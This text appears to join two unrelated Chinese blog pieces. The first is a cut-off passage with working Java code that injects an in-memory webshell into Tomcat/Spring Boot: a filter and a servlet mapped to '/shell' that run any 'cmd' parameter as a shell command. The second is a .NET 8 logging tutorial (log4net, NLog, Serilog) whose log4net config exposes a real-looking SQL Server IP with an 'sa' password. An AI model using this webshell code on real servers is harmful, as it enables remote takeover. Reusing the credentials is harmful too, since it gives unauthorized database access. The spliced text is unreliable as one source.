                            // 执行命令
                            cmd = request.getParameter("cmd");
                            String[] cmds = null;
                            if (cmd != null) {
                                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                                    cmds = new String[]{"cmd", "/c", cmd};
                                } else {
                                    cmds = new String[]{"/bin/bash", "-c", cmd};
                                }
                                InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
                                Scanner s = new Scanner(inputStream).useDelimiter("//A");
                                String output = s.hasNext() ? s.next() : "";
                                PrintWriter writer = request.getResponse().getWriter();
                                writer.write(output);
                                writer.flush();
                                writer.close();

                                break;
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        chain.doFilter(request1, response1);
    }
}

主类记得加上扫描注解

package com.example.springboot2;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;

@SpringBootApplication
@ServletComponentScan
public class Springboot2Application {

    public static void main(String[] args) {
        SpringApplication.run(Springboot2Application.class, args);
    }

}

局限性

该方法在tomcat10以下应该是可以通杀的,因为之前用的高版本springBoot,springboot在2.6以后移除了getresources方法,所以寄

通过遍历进程来获取Context

package com.example.springboot2.controller;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;

public class Tomcat6789 extends AbstractTranslet implements Servlet {
    public static Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {

                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }

    public Tomcat6789() {
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        String uri = "";
        String serverName = "";
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {

            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }

            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
            if (object == null) {
                continue;
            }
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();

                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                serverName = (String) getField(serverNameMB, "strValue");
                if (serverName == null){
                    serverName = serverNameMB.toString();
                }
                if (serverName == null){
                    serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                uri = (String) getField(uriMB, "strValue");
                if (uri == null){
                    uri = uriMB.toString();
                }
                if (uri == null){
                    uri = uriMB.getString();
                }
            }
        }
        Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads2) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                    try{
                        jioEndPoint = getField(target, "endpoint");
                    }catch (Exception e){}
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost = (StandardHost) children.get(serverName);

                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()){
                    String contextKey = (String) iterator.next();
                    if (!(uri.startsWith(contextKey))){continue;}
                    StandardContext standardContext = (StandardContext) children.get(contextKey);
                    Servlet myServlet = new Tomcat6789();
                    Wrapper newWrapper = standardContext.createWrapper();
                    newWrapper.setName("xxx");
                    newWrapper.setLoadOnStartup(1);
                    newWrapper.setServlet(myServlet);
                    standardContext.addChild(newWrapper);
                    standardContext.addServletMappingDecoded("/shell", "xxx");
                }
            }
        }
    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        //普通回显
        PrintWriter out = res.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,这样进而获取其中的context,然后再注入内存马。但是似乎代码逻辑有问题,springboot2+tomcat9的环境下会报错,其它环境未尝试,待解决....

.NET 8使用日志功能以及自定义日志提供程序

日志级别

下表列出了
LogLevel
值、方便的
Log{LogLevel}
扩展方法以及建议的用法:

展开表

LogLevel “值” 方法 描述
Trace 0 LogTrace 包含最详细的消息。 这些消息可能包含敏感的应用数据。 这些消息默认情况下处于禁用状态,并且不应在生产中启用。
调试 1 LogDebug 用于调试和开发。 由于量大,请在生产中小心使用。
信息 2 LogInformation 跟踪应用的常规流。 可能具有长期值。
警告 3 LogWarning 对于异常事件或意外事件。 通常包括不会导致应用失败的错误或情况。
错误 4 LogError 表示无法处理的错误和异常。 这些消息表示当前操作或请求失败,而不是整个应用失败。
严重 5 LogCritical 需要立即关注的失败。 例如数据丢失、磁盘空间不足。
6 指定不应写入任何消息。

一、使用log4net

1、安装需要的Nuget包

在项目中使用程序包管理器控制台安装log4net包

Install-Package log4net

如果在AspNetCore项目还需要安装 Microsoft.Extensions.Logging.Log4Net.AspNetCore

Install-Package Microsoft.Extensions.Logging.Log4Net.AspNetCore

也可以使在Nuget管理程序中,搜索 "Microsoft.Extensions.Logging.Log4Net.AspNetCore",然后点击安装。

2、代码中使用log4net日志组件

2.1、新建一个log4net.config配置文件

配置文件参考如下

<?xml version="1.0" encoding="utf-8" ?>

<!-- log4net.config -->
<log4net>

    <!--通用日志类-->
    <!--日志类的名字-->
    <logger name="Common">
        <!--定义记录的日志级别-->
        <level value="ALL" />
        <!--记录到哪个介质中去-->
        <appender-ref ref="RollingLogFileAppender" />
    </logger>

    <!--其中layout节点的配置说明:
        %m(message):输出的日志消息;
        %n(newline):换行;
		%d(datetime):输出当前语句运行的时刻;
		%r(runtime):输出程序从运行到执行到当前语句时消耗的毫秒数;
		%t(threadid):当前语句所在的线程ID ;
		%p(priority): 日志的当前日志级别;
		%c(class):当前日志对象的名称;
		%L:输出语句所在的行号;
		%F:输出语句所在的文件名;
		%-10:表示最小长度为10,如果不够,则用空格填充;-->
    <appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender">
        <!--日志路径-->
        <param name= "File" value= "Logs/"/>
        <!--多线程时采用最小锁定-->
        <lockingModel type="log4net.Appender.FileAppender+MinimalLock"/>
        <!--是否是向文件中追加日志-->
        <param name= "AppendToFile" value= "true"/>
        <!--log保留天数-->
        <!--<param name= "MaxSizeRollBackups" value= "10"/>-->
        <!--日志文件名是否是固定不变的-->
        <param name= "StaticLogFileName" value= "false"/>
        <!--日志文件名格式为:2022-05-22.log-->
        <param name= "DatePattern" value= "yyyy-MM-dd'.log'"/>
        <!--日志根据日期滚动-->
        <param name= "RollingStyle" value= "Date"/>
        <layout type="log4net.Layout.PatternLayout">
            <param name="ConversionPattern" value="%n%d [%t] %-5p %c [%L] - %m %n" />
        </layout>
    </appender>

    <root>
        <!--(高) OFF > FATAL > ERROR > WARN > INFO > DEBUG > ALL (低) -->
        <level value="all" />
        <!--<appender-ref ref="ColoredConsoleAppender"/>-->
        <appender-ref ref="RollingLogFileAppender"/>
    </root>
</log4net>


<?xml version="1.0" encoding="utf-8" ?>
<configuration>
	<configSections>
		<section name="log4net" type="log4net.Config.Log4NetConfigurationSectionHandler, log4net"/>
	</configSections>
	<log4net debug="false">

		<appender name="info" type="log4net.Appender.RollingFileAppender,log4net">
			<param name="File" value="log4net/info/" />
			<param name="AppendToFile" value="true" />
			<param name="MaxSizeRollBackups" value="-1"/>
			<param name="MaximumFileSize" value="5MB"/>
			<param name="RollingStyle" value="Composite" />
			<param name="DatePattern" value="yyyyMMdd\\HH&quot;.log&quot;" />
			<param name="StaticLogFileName" value="false" />
			<layout type="log4net.Layout.PatternLayout,log4net">
				<param name="ConversionPattern" value="%n
{
    &quot;system&quot;: &quot;Meowv.Blog&quot;,
    &quot;datetime&quot;: &quot;%d&quot;,
    &quot;description&quot;: &quot;%m&quot;,
  &quot;level&quot;: &quot;%p&quot;,
    &quot;info&quot;: &quot;%exception&quot;
}" />
			</layout>
			<filter type="log4net.Filter.LevelRangeFilter">
				<levelMin value="INFO" />
				<levelMax value="INFO" />
			</filter>
		</appender>

		<appender name="error" type="log4net.Appender.RollingFileAppender,log4net">
			<param name="File" value="log4net/error/" />
			<param name="AppendToFile" value="true" />
			<param name="MaxSizeRollBackups" value="-1"/>
			<param name="MaximumFileSize" value="5MB"/>
			<param name="RollingStyle" value="Composite" />
			<param name="DatePattern" value="yyyyMMdd\\HH&quot;.log&quot;" />
			<param name="StaticLogFileName" value="false" />
			<layout type="log4net.Layout.PatternLayout,log4net">
				<param name="ConversionPattern" value="%n
{
    &quot;system&quot;: &quot;Meowv.Blog&quot;,
    &quot;datetime&quot;: &quot;%d&quot;,
    &quot;description&quot;: &quot;%m&quot;,
  &quot;level&quot;: &quot;%p&quot;,
    &quot;info&quot;: &quot;%exception&quot;
}" />
			</layout>
			<filter type="log4net.Filter.LevelRangeFilter">
				<levelMin value="ERROR" />
				<levelMax value="ERROR" />
			</filter>
		</appender>

		<root>
			<level value="ALL"></level>
			<appender-ref ref="info"/>
			<appender-ref ref="error"/>
		</root>

	</log4net>

</configuration>

<?xml version="1.0" encoding="utf-8"?>
<!--log4net日志配置信息-->
<log4net>
	<!-- 控制台日志配置 -->
	<appender name="Console" type="log4net.Appender.ConsoleAppender">
		<!-- 日志输出格式 -->
		<layout type="log4net.Layout.PatternLayout">
			<conversionPattern value="%5level [%thread] (%file:%line) - %message%newline" />
		</layout>
	</appender>
	<!-- 文件存储日志配置 -->
	<appender name="RollingFileAppender" type="log4net.Appender.RollingFileAppender">
		<!--目录路径,可以是相对路径或绝对路径-->
		<file value="log\" />
		<!--追加日志内容-->
		<appendToFile value="true" />
		<!--防止多线程时不能写Log,官方说线程非安全-->
		<lockingModel type="log4net.Appender.FileAppender+MinimalLock" />
		<!--可以为:Once|Size|Date|Composite-->
		<!--Composite为Size和Date的组合-->
		<rollingStyle value="Composite" />
		<!--日期的格式,每天换一个文件记录,如不设置则永远只记录一天的日志,需设置-->
		<datePattern value="yyyy-MM-dd&quot;.txt&quot;" />
		<!--文件名,按日期生成文件夹-->
		<!--<param name="DatePattern" value="/yyyy-MM-dd/"Error.log=""""/>-->
		<!-- 保存文件数量 -->
		<!--日志最大个数,都是最新的-->
		<!--rollingStyle节点为Size时,只能有value个日志-->
		<!--rollingStyle节点为Composite时,每天有value个日志-->
		<!--最多保留的文件数,设为"-1"则不限-->
		<maxSizeRollBackups value="20" />
		<!-- 文件的编码方式 -->
		<param name="Encoding" value="UTF-8"/>
		<!-- 每个文件的大小 -->
		<!--可用的单位:KB|MB|GB-->
		<maximumFileSize value="3MB" />
		<!--置为true,当前最新日志文件名永远为file节中的名字-->
		<staticLogFileName value="false" />
		<!-- 日志输出格式 -->
		<layout type="log4net.Layout.PatternLayout">
			<!--<conversionPattern value="%level %thread %logger - %message%newline" />-->
			<param name="ConversionPattern" value="%newline %n记录时间:%date %n线程ID:[%thread] %n日志级别:%-5level %n出错类:%logger %n请求URI:%message %n异常信息:%exception%newline %n" />
		</layout>
	</appender>
	<!--SQL数据库-->
	<appender name="AdoNetAppender" type="MicroKnights.Logging.AdoNetAppender, MicroKnights.Log4NetAdoNetAppender">
		<bufferSize value="1" />
		<!-- SQL数据源-->
		<connectionType value="Microsoft.Data.SqlClient.SqlConnection, Microsoft.Data.SqlClient, Version=1.0.0.0,Culture=neutral,PublicKeyToken=23ec7fc2d6eaa4a5"/>
		<!-- SQL连接字符串-->
		<!--<connectionString value="Integrated Security=SSPI;Persist Security Info=False;Initial Catalog=YMHealth;Data Source=." />-->
		<connectionString value="Integrated Security=False;Data Source=47.110.55.108;Initial Catalog=BreastHealthbat;User Id=sa;pwd=Sinoadmin@136;" />
		<!--<connectionString value="Integrated Security=False;Data Source=.;Initial Catalog=BreastHealth;User Id=sa;pwd=sasino;" />-->
		<commandText value="INSERT INTO TLog ([ThreadId],[LogLevel],[Logger],[LogMessage],[LogException],[LogDate]) VALUES  (@thread,@logLevel,@logger,@message,@exception,@logDate)" />
		<parameter>
			<parameterName value="@thread" />
			<dbType value="String" />
			<size value="5" />
			<layout type="log4net.Layout.PatternLayout">
				<conversionPattern value="%t" />
			</layout>
		</parameter>
		<parameter>
			<parameterName value="@logLevel" />
			<dbType value="String" />
			<size value="5" />
			<layout type="log4net.Layout.PatternLayout">
				<conversionPattern value="%p" />
			</layout>
		</parameter>
		<parameter>
			<parameterName value="@logger" />
			<dbType value="String" />
			<size value="3000" />
			<layout type="log4net.Layout.PatternLayout">
				<conversionPattern value="%logger" />
			</layout>
		</parameter>
		<parameter>
			<parameterName value="@message" />
			<dbType value="String" />
			<size value="3000" />
			<layout type="log4net.Layout.PatternLayout">
				<conversionPattern value="%message" />
			</layout>
		</parameter>
		<parameter>
			<parameterName value="@exception" />
			<dbType value="String" />
			<size value="3000" />
			<layout type="log4net.Layout.ExceptionLayout" />
		</parameter>
		<parameter>
			<parameterName value="@logDate" />
			<dbType value="DateTime" />
			<layout type="log4net.Layout.RawTimeStampLayout" />
		</parameter>
	</appender>
	<!--根配置-->
	<root>
		<!--日志级别:可选值: ERROR > WARN > INFO > DEBUG -->
		<level value="ERROR" />
		<!--<appender-ref ref="Console" />
		<appender-ref ref="RollingFile" />-->
		<appender-ref ref="AdoNetAppender" />
		<appender-ref ref="RollingFileAppender" />
	</root>
</log4net>

2.2、设置文件为始终复制

2.3、在控制台中使用

using log4net.Config;
using log4net;
using System.Reflection;

namespace Test.ConsoleApp
{
    internal class Program
    {
        static void Main(string[] args)
        {
            var log4netRepository = LogManager.GetRepository(Assembly.GetEntryAssembly());
            XmlConfigurator.Configure(log4netRepository, new FileInfo("log4net.config"));
            var log = LogManager.GetLogger(log4netRepository.Name, "NETCorelog4net");

            log.Info("NETCorelog4net log");
            log.Info("test log");
            log.Error("error");
            log.Info("linezero");
            Console.ReadKey();
        }
    }
}

2.4、在AspNetCore项目中使用

方式一

//默认路径是根目录的log4net.config,也可以更改log4net.config路径,和名称
builder.Logging.AddLog4Net("Configs/log4net.config");

方式二

builder.Services.AddLogging(logging =>
{
    //默认的配置文件路径是在根目录,且文件名为log4net.config
    //logging.AddLog4Net();
    logging.AddLog4Net("Configs/log4net.config");

    //如果文件路径或名称有变化,需要重新设置其路径或名称
    //比如在项目根目录下创建一个名为cfg的文件夹,将log4net.config文件移入其中,并改名为log.config
    //则需要使用下面的代码来进行配置
    //logging.AddLog4Net(new Log4NetProviderOptions()
    //{
    //    Log4NetConfigFileName = "cfg/log.config",
    //    Watch = true
    //});
});

方式三(有问题,在.NET6之前的Startup类Configure方法注入有用)

//也可以使用ILoggerFactory注入log4net
//loggerFactory.AddLog4Net();
using ILoggerFactory loggerFactory = LoggerFactory.Create(builder =>
{
    builder.AddLog4Net("Configs/log4net.config");
});

参考文档:

https://www.cnblogs.com/wei325/p/16000271.html

https://github.com/huorswords/Microsoft.Extensions.Logging.Log4Net.AspNetCore

https://www.cnblogs.com/shangec/p/14666007.html

https://www.cnblogs.com/vvull/p/17967654

https://docs.meowv.com/stack/dotnetcore/log4net-in-dotnet.html

二、使用Nlog

1、控制台项目

1.1、安装如下Nuget包

Install-Package Microsoft.Extensions.Configuration.Json
Install-Package NLog
Install-Package NLog.Extensions.Logging

1.2、在控制台项目创建appsetting.json文件,文件内容如下

{
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*"
}

1.3、创建nlog.config文件,并设置属性为始终复制,下面是config文件参考

<?xml version="1.0" encoding="utf-8" ?>
<nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      autoReload="true"
      internalLogLevel="Warn"
      internalLogFile="internal-nlog.txt">

  <!-- define various log targets -->
  <targets>
    <!-- write logs to file -->
    <target xsi:type="File" name="allfile" fileName="nlog-all-${shortdate}.log"
                 layout="${longdate}|${logger}|${uppercase:${level}}|${message} ${exception}" />


    <target xsi:type="File" name="ownFile-web" fileName="nlog-own-${shortdate}.log"
             layout="${longdate}|${logger}|${uppercase:${level}}|  ${message} ${exception}" />

    <target xsi:type="Null" name="blackhole" />
  </targets>

  <rules>
    <!--All logs, including from Microsoft-->
    <logger name="*" minlevel="Trace" writeTo="allfile" />

    <!--Skip Microsoft logs and so log only own logs-->
    <logger name="Microsoft.*" minlevel="Trace" writeTo="blackhole" final="true" />
    <logger name="*" minlevel="Trace" writeTo="ownFile-web" />
  </rules>
</nlog>

1.4、添加一个类
Runner.cs

using Microsoft.Extensions.Logging;

namespace ConsoleDemo
{
    public class Runner
    {
        private readonly ILogger<Runner> _logger;

        public Runner(ILogger<Runner> logger)
        {
            _logger = logger;
        }

        public void DoAction(string name)
        {
            _logger.LogDebug(20, "Doing hard work! {Action}", name);
        }
    }
}
<?xml version="1.0" encoding="utf-8" ?>
<!-- XSD manual extracted from package NLog.Schema: https://www.nuget.org/packages/NLog.Schema-->
<nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      autoReload="true"
      internalLogLevel="Info"
      internalLogFile="nlog\internal-nlog.txt">

	<!-- the targets to write to -->
	<targets>
		<!-- write logs to file -->
		<target xsi:type="File" name="logfile" fileName="nlog\console${shortdate}.log"
            layout="${longdate}|${level}|${message} |${all-event-properties} ${exception:format=tostring}" />
		<target xsi:type="Console" name="logconsole"
				layout="${longdate}|${level}|${message} |${all-event-properties} ${exception:format=tostring}" />

		<target xsi:type="Null" name="blackhole" />
	</targets>
	<!-- rules to map from logger name to target -->
	<rules>
		<logger name="*" minlevel="Trace" writeTo="logfile,logconsole" />
	</rules>
</nlog>

1.5、通过注入的方式调用。

using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Logging;
using NLog;
using NLog.Extensions.Logging;
using System;
namespace Test.ConsoleApp
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            #region nlog
            var logger = LogManager.GetCurrentClassLogger();
            try
            {
                var config = new ConfigurationBuilder()
                .SetBasePath(System.IO.Directory.GetCurrentDirectory()) //From NuGet Package Microsoft.Extensions.Configuration.Json
                .AddJsonFile("appsettings.json", optional: true, reloadOnChange: true)
                .Build();
                using var servicesProvider = new ServiceCollection()
                 .AddTransient<Runner>() // Runner is the custom class
                 .AddLogging(loggingBuilder =>
                 {
                     // configure Logging with NLog
                     loggingBuilder.ClearProviders();
                     loggingBuilder.SetMinimumLevel(Microsoft.Extensions.Logging.LogLevel.Trace);
                     loggingBuilder.AddNLog(config);
                 }).BuildServiceProvider();

                var runner = servicesProvider.GetRequiredService<Runner>();
                runner.DoAction("Action1");

                Console.WriteLine("Press ANY key to exit");
                Console.ReadKey();
            }
            catch (Exception ex)
            {
                // NLog: catch any exception and log it.
                logger.Error(ex, "Stopped program because of exception");
                throw;
            }
            finally
            {
                LogManager.Shutdown();
            }
            Console.ReadKey();
        }
    }
}

1.6、最简单的示例

using Microsoft.Extensions.Logging;
using NLog.Extensions.Logging;

namespace ConsoleExample
{
    internal static class Program
    {
        private static void Main()
        {
            var logger = LoggerFactory.Create(builder => builder.AddNLog()).CreateLogger<Program>();
            logger.LogInformation("Program has started.");
            Console.ReadKey();
        }
    }
}

2、在ASP.NET CORE项目中使用NLog

2.1、在Web项目中添加包

Install-Package NLog
Install-Package NLog.Web.AspNetCore

2.2、在appsetting.json文件如下配置

{
  "Logging": {
    "LogLevel": {
      "Default": "Trace",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*"
}

2.3、 创建 nlog.config 文件。

在项目的根目录中创建 nlog.config(全部小写)文件

创建nlog.config文件,并设置属性为始终复制,下面是config文件参考

<?xml version="1.0" encoding="utf-8" ?>
<nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      autoReload="true"
      internalLogLevel="Warn"
      internalLogFile="internal-nlog.txt">

  <!-- define various log targets -->
  <targets>
    <!-- write logs to file -->
    <target xsi:type="File" name="allfile" fileName="nlog-all-${shortdate}.log"
                 layout="${longdate}|${logger}|${uppercase:${level}}|${message} ${exception}" />


    <target xsi:type="File" name="ownFile-web" fileName="nlog-own-${shortdate}.log"
             layout="${longdate}|${logger}|${uppercase:${level}}|  ${message} ${exception}" />

    <target xsi:type="Null" name="blackhole" />
  </targets>

  <rules>
    <!--All logs, including from Microsoft-->
    <logger name="*" minlevel="Trace" writeTo="allfile" />

    <!--Skip Microsoft logs and so log only own logs-->
    <logger name="Microsoft.*" minlevel="Trace" writeTo="blackhole" final="true" />
    <logger name="*" minlevel="Trace" writeTo="ownFile-web" />
  </rules>
</nlog>

<?xml version="1.0" encoding="utf-8" ?>
<nlog xmlns="http://www.nlog-project.org/schemas/NLog.xsd"
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      autoReload="true"
      internalLogLevel="Info"
      internalLogFile="c:\temp\internal-nlog-AspNetCore.txt">

  <!-- enable asp.net core layout renderers -->
  <extensions>
    <add assembly="NLog.Web.AspNetCore"/>
  </extensions>

  <!-- the targets to write to -->
  <targets>
    <!-- File Target for all log messages with basic details -->
    <target xsi:type="File" name="allfile" fileName="c:\temp\nlog-AspNetCore-all-${shortdate}.log"
            layout="${longdate}|${event-properties:item=EventId:whenEmpty=0}|${level:uppercase=true}|${logger}|${message} ${exception:format=tostring}" />

    <!-- File Target for own log messages with extra web details using some ASP.NET core renderers -->
    <target xsi:type="File" name="ownFile-web" fileName="c:\temp\nlog-AspNetCore-own-${shortdate}.log"
            layout="${longdate}|${event-properties:item=EventId:whenEmpty=0}|${level:uppercase=true}|${logger}|${message} ${exception:format=tostring}|url: ${aspnet-request-url}|action: ${aspnet-mvc-action}" />

    <!--Console Target for hosting lifetime messages to improve Docker / Visual Studio startup detection -->
    <target xsi:type="Console" name="lifetimeConsole" layout="${MicrosoftConsoleLayout}" />
  </targets>

  <!-- rules to map from logger name to target -->
  <rules>
    <!--All logs, including from Microsoft-->
    <logger name="*" minlevel="Trace" writeTo="allfile" />

    <!--Output hosting lifetime messages to console target for faster startup detection -->
    <logger name="Microsoft.Hosting.Lifetime" minlevel="Info" writeTo="lifetimeConsole, ownFile-web" final="true" />

    <!--Skip non-critical Microsoft logs and so log only own logs (BlackHole) -->
    <logger name="Microsoft.*" maxlevel="Info" final="true" />
    <logger name="System.Net.Http.*" maxlevel="Info" final="true" />
    
    <logger name="*" minlevel="Trace" writeTo="ownFile-web" />
  </rules>
</nlog>

上面的c:\temp可以改成nlog

2.4、program.cs代码如下

using NLog;
using NLog.Web;

// Early init of NLog to allow startup and exception logging, before host is built
var logger = NLog.LogManager.Setup().LoadConfigurationFromAppSettings().GetCurrentClassLogger();
logger.Debug("init main");

try
{
    var builder = WebApplication.CreateBuilder(args);

    // Add services to the container.
    builder.Services.AddControllersWithViews();

    // NLog: Setup NLog for Dependency injection
    builder.Logging.ClearProviders();
    //如果使用Configs文件夹下的配置使用builder.Logging.AddNLog注入
    //builder.Logging.AddNLog("Configs/nlog.config");
    //如果是在根目录可以直接使用builder.Host.UseNLog();
    builder.Host.UseNLog();

    var app = builder.Build();

    // Configure the HTTP request pipeline.
    if (!app.Environment.IsDevelopment())
    {
        app.UseExceptionHandler("/Home/Error");
        // The default HSTS value is 30 days. You may want to change this for production scenarios, see https://aka.ms/aspnetcore-hsts.
        app.UseHsts();
    }

    app.UseHttpsRedirection();
    app.UseStaticFiles();

    app.UseRouting();

    app.UseAuthorization();

    app.MapControllerRoute(
        name: "default",
        pattern: "{controller=Home}/{action=Index}/{id?}");

    app.Run();
}
catch (Exception exception)
{
    // NLog: catch setup errors
    logger.Error(exception, "Stopped program because of exception");
    throw;
}
finally
{
    // Ensure to flush and stop internal timers/threads before application-exit (Avoid segmentation fault on Linux)
    NLog.LogManager.Shutdown();
}

2.5、 Microsoft日志记录过滤器

使用 NLog 5.0 时,默认情况下会忽略 Microsoft 日志记录筛选器。只需确保正确配置 NLog 配置规则即可。
appsettings.json

<rules>
    <logger name="System.*" finalMinLevel="Warn" />
    <logger name="Microsoft.*" finalMinLevel="Warn" />
    <logger name="Microsoft.Hosting.Lifetime*" finalMinLevel="Info" />
    <logger name="*" minlevel="Trace" writeTo="ownFile-web" />
</rules>

写入日志

在控制器中注入 ILogger:

using Microsoft.Extensions.Logging;

public class HomeController : Controller
{
    private readonly ILogger<HomeController> _logger;

    public HomeController(ILogger<HomeController> logger)
    {
        _logger = logger;
        _logger.LogDebug(1, "NLog injected into HomeController");
    }

    public IActionResult Index()
    {
        _logger.LogInformation("Hello, this is the index!");
        return View();
    }
}

参考文档:

Getting started with .NET Core 2 Console application · NLog/NLog Wiki · GitHub

Getting started with ASP.NET Core 6 · NLog/NLog Wiki · GitHub

https://docs.meowv.com/stack/dotnetcore/nlog-in-dotnet.html

https://zhuanlan.zhihu.com/p/35469359

https://www.cjavapy.com/article/3102/

https://www.cnblogs.com/haiouxiangyun/p/15921375.html

三、使用Serlog

1、控制台项目

1.1、在项目中添加下面几个组件包

Install-Package Serilog.Extensions.Logging
Install-Package Serilog
Install-Package Serilog.Sinks.Console
Install-Package Serilog.Sinks.File

1.2、Program.cs代码参考如下

using System;
using Serilog;

class Program
{
    static async Task Main()
    {
        Log.Logger = new LoggerConfiguration()
            .MinimumLevel.Debug()
            .WriteTo.Console()
            .WriteTo.File("logs/myapp.txt", rollingInterval: RollingInterval.Day)
            .CreateLogger();
//上面和下面的都可以        
//           Log.Logger = new LoggerConfiguration()
//          .MinimumLevel.Information()
//          .MinimumLevel.Override("Microsoft", LogEventLevel.Warning)
//#if DEBUG
//           .MinimumLevel.Override("Xxx", LogEventLevel.Debug)
//#else
//            .MinimumLevel.Override("Xxx", LogEventLevel.Information)
//#endif
//          .Enrich.FromLogContext()
//          .WriteTo.Console()
//          .WriteTo.File(Path.Combine(Directory.GetCurrentDirectory(), "logs/logs.txt"))
//          .CreateLogger();

        Log.Information("Hello, world!");

        int a = 10, b = 0;
        try
        {
            Log.Debug("Dividing {A} by {B}", a, b);
            Console.WriteLine(a / b);
        }
        catch (Exception ex)
        {
            Log.Error(ex, "Something went wrong");
        }
        finally
        {
            await Log.CloseAndFlushAsync();
        }
    }
}

2、AspNetCore项目

2.1、在项目中添加下面几个组件包

Install-Package Serilog.AspNetCore
Install-Package Serilog.Sinks.Async
Install-Package Serilog.Sinks.File

2.2、Program.cs代码参考:

using Serilog;

Log.Logger = new LoggerConfiguration()
    .WriteTo.Console()
    .CreateLogger();

try
{
    Log.Information("Starting web application");

    var builder = WebApplication.CreateBuilder(args);

    builder.Host.UseSerilog(); // <-- Add this line
    
    var app = builder.Build();

    app.MapGet("/", () => "Hello World!");

    app.Run();
}
catch (Exception ex)
{
    Log.Fatal(ex, "Application terminated unexpectedly");
}
finally
{
    Log.CloseAndFlush();
}
 //Serilog.Sinks.Http
 //Serilog.Sinks.Seq
 //Log.Logger = new LoggerConfiguration()
 //            .MinimumLevel.Verbose()
 //            .Enrich.WithProperty("ApplicationContext", Program.AppName)
 //            .Enrich.FromLogContext()
 //            .WriteTo.Console()
 //            .WriteTo.Seq(string.IsNullOrWhiteSpace(seqServerUrl) ? "http://seq" : seqServerUrl)
 //            .WriteTo.Http(string.IsNullOrWhiteSpace(logstashUrl) ? "http://logstash:8080" : logstashUrl)
 //            .ReadFrom.Configuration(configuration)
 //            .CreateLogger();

